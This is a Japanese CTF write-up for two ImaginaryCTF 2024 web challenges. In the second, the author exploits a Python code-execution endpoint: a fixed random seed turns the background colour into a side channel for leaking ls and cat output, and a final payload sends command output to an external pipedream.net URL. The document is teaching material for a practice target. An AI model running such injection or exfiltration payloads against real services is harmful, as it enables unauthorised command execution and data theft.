ImaginaryCTF 2024 writeup

例によって休日はあまり時間が作れず、簡単なもの2問にしか取り組めなかった。
だいたい3時間くらい。

## readme [Web]
特に何もない画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/247330/83e9deaa-175a-a2e5-9f05-289696a99c43.png)
提供されているソースコードのDockerfileの中に直接書かれていた。
初めはフェイクのフラグだと思って読み飛ばしてたのだが、試しに入れてみると通ってしまった・・・。
```Dockerfile:Dockerfile
FROM node:20-bookworm-slim

RUN apt-get update \
    && apt-get install -y nginx tini \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

WORKDIR /app
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY src ./src
COPY public ./public

COPY default.conf /etc/nginx/sites-available/default
COPY start.sh /start.sh

ENV FLAG="ictf{path_normalization_to_the_rescue}"

ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["/start.sh"]

```

以下のようにpublic/にフラグをコピーして、staticに指定してるので、public/flag.txtとかにアクセスすると取れるのかなと思ったが、それは上手くいかず・・・
ちょっと問題の意図が分からなかった。
```sh:start.sh
#!/bin/sh
echo "${FLAG:-not_flag}" > /app/public/flag.txt
nginx &
node src/app.js
```

```javascript:app.js
const express = require('express')
const path = require('path')

const app = express()
app.use(express.static(path.join(__dirname, '../public')))
app.listen(8000)
```

## P2C [Web]
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/247330/d0ee63ed-5bf4-f1d8-4d21-950d9da4b9fc.png)

Pythonのコードを入力して送信すると、背景の色が変わるWebページ

```py:app.py
def xec(code):
    code = code.strip()
    indented = "\n".join(["    " + line for line in code.strip().splitlines()])

    file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

    os.system(f"chmod 755 {file}")

    try:
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
        output = res.stdout
    except Exception as e:
        output = None

    os.remove(file)

    return output
```

```py:parse.py
import sys

if "random" not in dir():
   import random

def rgb_parse(inp=""):
   inp = str(inp)
   randomizer = random.randint(100, 1000)
   total = 0
   for n in inp:
      n = ord(n)
      total += n+random.randint(1, 10)
   rgb = total*randomizer*random.randint(100, 1000)
   rgb = str(rgb%1000000000)
   r = int(rgb[0:3]) + 29
   g = int(rgb[3:6]) + random.randint(10, 100)
   b = int(rgb[6:9]) + 49
   r, g, b = r%256, g%256, b%256
   return r, g, b
```

実装をみると、入力したコードがmain関数としてファイルに書き込まれ、その結果をrgb_parse関数に通した結果を背景色としているようだ。
乱数でごちゃごちゃ処理をしているので、適当なコード入力だと結果は毎度異なるのだが、執拗なほど乱数が使われているのはヒントなのだろう。
すこし考えて、これは`random.seed()`を使うことで結果を固定できることに気付いた。
これで結果の背景色からflagを探すことができる。

```py
from bs4 import BeautifulSoup
import requests

# POSTしてHTMLから背景色を得る。
def post(data):
    response = requests.post('http://p2c.chal.imaginaryctf.org/', data=data)
    soup = BeautifulSoup(response.text)
    response.close()
    return str(soup.body.script).split('"')[1]

# 1文字だけ入力して結果を集める
import string
mapping = {}
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{}_'
for char in characters:
    data = {
        'code': f'''
import random
random.seed(1)
return '{char}'
'''
    }
    mapping[post(data)] = char
```

```py
{
  'rgb(161, 173, 131)': '0',
  'rgb(164, 233, 110)': '1',
  'rgb(166, 13, 89)': '2',
  ...
}
```
まずは、main()の戻り値をアルファベットと数字（加えてフラグに使われそうな記号）1文字のみとし、結果を集める。
その後、main()の戻り値を、lsやcatを実行した結果を1文字ずつずらしながら出力するようにして、先ほど作った表と照らし合せていけばよい。

まずはls
```py
# lsの結果を検証
for n in range(15):
    data = {
        'code': f'''
import random
random.seed(1)
import subprocess
return subprocess.run(['ls'], capture_output=True, text=True).stdout[{n}]
'''
    }
    result = post(data)
    print(result, mapping.get(result))
```

```
rgb(18, 239, 102) a
rgb(52, 104, 87) p
rgb(52, 104, 87) p
rgb(157, 102, 73) .
rgb(52, 104, 87) p
rgb(73, 242, 98) y
rgb(231, 120, 49) None
rgb(29, 186, 97) f
rgb(43, 193, 71) l
rgb(18, 239, 102) a
rgb(31, 222, 76) g
rgb(157, 102, 73) .
rgb(61, 15, 103) t
rgb(70, 182, 119) x
rgb(61, 15, 103) t
```

これでflag.txtが存在することが分かった。
次にcat flag.txt
```py
for n in range(35):
    data = {
        'code': f'''
import random
random.seed(1)
import subprocess
return subprocess.run(['cat', 'flag.txt'], capture_output=True, text=True).stdout[{n}]
'''
    }
    result = post(data)
    print(result, mapping.get(result))
```

```
rgb(36, 61, 134) i
rgb(22, 55, 60) c
rgb(61, 15, 103) t
rgb(29, 186, 97) f
rgb(77, 58, 56) {
rgb(25, 114, 139) d
rgb(164, 233, 110) 1
rgb(13, 143, 144) _
rgb(22, 55, 60) c
rgb(50, 68, 108) o
rgb(43, 193, 71) l
rgb(50, 68, 108) o
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(52, 104, 87) p
rgb(36, 61, 134) i
rgb(22, 55, 60) c
rgb(41, 157, 92) k
rgb(27, 150, 118) e
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(29, 186, 97) f
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(166, 13, 89) 2
rgb(22, 55, 60) c
rgb(27, 150, 118) e
rgb(161, 173, 131) 0
rgb(25, 114, 139) d
rgb(25, 114, 139) d
rgb(168, 49, 68) 3
rgb(25, 114, 139) d
rgb(82, 153, 114) }
rgb(231, 120, 49) None
rgb(16, 36, 198) None
```

これをつなぎ合わせて、フラグ `ictf{d1_color_picker_fr_2ce0dd3d}` が得られた。

が、解いた後に、こんな効率の悪いことをしなくて良いことに気付いた。
ls, catの結果を自分のサーバに送信すればよいだけである。
```py
data = {
    'code': '''
from urllib.request import urlopen
from urllib.parse import quote
import urllib
import subprocess

output = subprocess.run(['ls'], capture_output=True, text=True,).stdout
urlopen(f'https://eo8r9n7l6okfe60.m.pipedream.net?result={quote(output)}')
'''
}
post(data)
```
少しでもサーバに負荷をかけるような方法を取ってしまったことが悔やまれる。